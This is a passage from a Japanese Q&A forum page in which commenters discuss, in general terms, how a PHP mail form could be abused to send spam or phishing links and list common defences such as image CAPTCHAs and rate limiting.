    評価が高い回答ほどページの上位に表示されます。

  • 回答の評価を下げる

    以下のような回答は評価を下げられます

    • 間違っている回答
    • 質問の回答になっていない投稿
    • 不快な投稿

    評価を下げる際はその理由をコメントに書き込んでください。

  • 2017/04/14 14:18

    すべての悪用例とその対策を網羅する回答である必要はありませんが、一例であることを明確にした文章のほうがよいと思います。

    このレベルまで含めて悪用の可能性と対策を検討するのであれば、例えば正当な手順でメールフォームを使用し罠サイトのURLを含めた自動通知をそのサイトの利用者をターゲットに送信させ罠サイトに誘導する、とか、考えるべきことはたくさんあります。これには、機械的に操作されることへの対策は緩和策とはなりますが根本対策にはなりません。

    あと、この内容では具体的に何をやったらよいのかわからない(キーワードが曖昧なので調べようがない)点も多いので、具体的なことがわかる質問者のレベルに合わせた資料へのポインタを提示されればなおよいと思います。

    キャンセル

  • 2017/04/14 20:23 編集

    > すべての悪用例とその対策を網羅する回答である必要はありませんが、一例であることを明確にした文章のほうがよいと思います。

    私の提案は、「メールの配信攻撃」への対応を【加味した】セキュリティ要件の再整理です。明確になっていますよ。

    > このレベルまで含めて悪用の可能性と対策を検討するのであれば、例えば正当な手順でメールフォームを使用し罠サイトのURLを含めた自動通知をそのサイトの利用者をターゲットに送信させ罠サイトに誘導する、とか、考えるべきことはたくさんあります。これには、機械的に操作されることへの対策は緩和策とはなりますが根本対策にはなりません。

    7968 さんの作成されたスクリプトは、「自動返信で罠サイトのURLをターゲットに送信する」ことは出来ないように対策を取っています。その為、セキュリティ精度としてチグハグなスクリプトになっています。

    おそらく、
    ・攻撃手法の研究
    ・セキュリティ機能の検討
    ・セキュリティ要件の確定
    ・実装
    といった手順を踏んでいないのだと思います。
    その為、セキュリティ要件の再整理を提案しています。

    > あと、この内容では具体的に何をやったらよいのかわからない(キーワードが曖昧なので調べようがない)点も多いので、具体的なことがわかる質問者のレベルに合わせた資料へのポインタを提示されればなおよいと思います。

    上にも書きましたが、攻撃手法の研究から始めることになると思います。
    メールフォームは認証外ユーザにフル機能を提供するため、認証後の機能提供と比べて機械的なアクセスに弱いです。
    メールフォームの他に、匿名掲示板やユーザ登録に関する攻撃手法、対策方法を参考にすると良いですが、イタチごっこな分野でもあるため、開示されている情報が非常に限定的です。

    古くからある例としては
    ・機械的な投稿防衛のため画像認証
    ・連続投稿防止のためのIPアドレスの記録と投稿間隔の制限
    ・サイト訪問時間を記録し、一定以上の時間経過後しか投稿許可しない
    等ですが、もちろん上記に網羅性/最新性はありません。

    セキュリティ要件=何を保護しているかの設計図になるため、セキュリティバグと違い公開/共有しようという意識は生まれず、情報を集めるのはなかなか厳しいかと。

    最近は、他人になるべく迷惑をかけない事を最優先とするなら、画像でメールアドレスを張り出しておくのが最強じゃないかなぁと思っています。

    キャンセル

  • 2017/04/15 09:01

    個別のコードベースであればもっと検討すべき事があるのは自明なので一般論だと思ってましたが、そうでは無かったようなのでその点は失礼しました。

    キャンセル

  • 2017/04/15 12:32 編集

    なんかちょっとすれ違ってそうですね^^;
    記述しているのは「7968 さんの作成されたスクリプト」の「セキュリティ要件」に関してです。

    ところで、確認なのですが、セッション関連の指摘は、セッションの開始のタイミングのことで正しかったのでしょうか?

    キャンセル

  • 2017/04/29 11:34

    何を問題視していたのか知りたかったんですが残念です。。。

    キャンセル

15分調べてもわからないことは、teratailで質問しよう!

ただいまの回答率

92.00%

関連した質問

同じタグがついた質問を見る

  • PHP

    12033questions

    PHPは、Webサイト構築に特化して開発されたプログラミング言語です。大きな特徴のひとつは、HTMLに直接プログラムを埋め込むことができるという点です。PHPを用いることで、HTMLを動的コンテンツとして出力できます。HTMLがそのままブラウザに表示されるのに対し、PHPプログラムはサーバ側で実行された結果がブラウザに表示されるため、PHPスクリプトは「サーバサイドスクリプト」と呼ばれています。

  • セキュリティー

    275questions

    このタグは、コンピューターシステムの安全性やデータの機密性に関連したトピックの為に使われます。

  • CSRF

    21questions

    クロスサイトリクエストフォージェリ (Cross site request forgeries、CSRF)は、 外部Webページから、HTTPリクエストによって、 Webサイトの機能の一部が実行されてしまうWWWにおける攻撃手法です。

  • XSS

    20questions

    XSS【クロスサイトスクリプティング】は、 ソフトウェアのセキュリティホールの一つで、Webサイトに脆弱性が あることからその脆弱性を利用し攻撃する手法です。 主に、入力フォームなどから悪意あるスクリプトを挿入し 該当ページを閲覧したブラウザ上でそのスクリプトを実行します。

閲覧数の多いPHPの質問

  • トップ
  • PHPに関する質問
  • 【PHP】作成したメールフォームに脆弱性がないか、アドバイスもらえないでしょうか。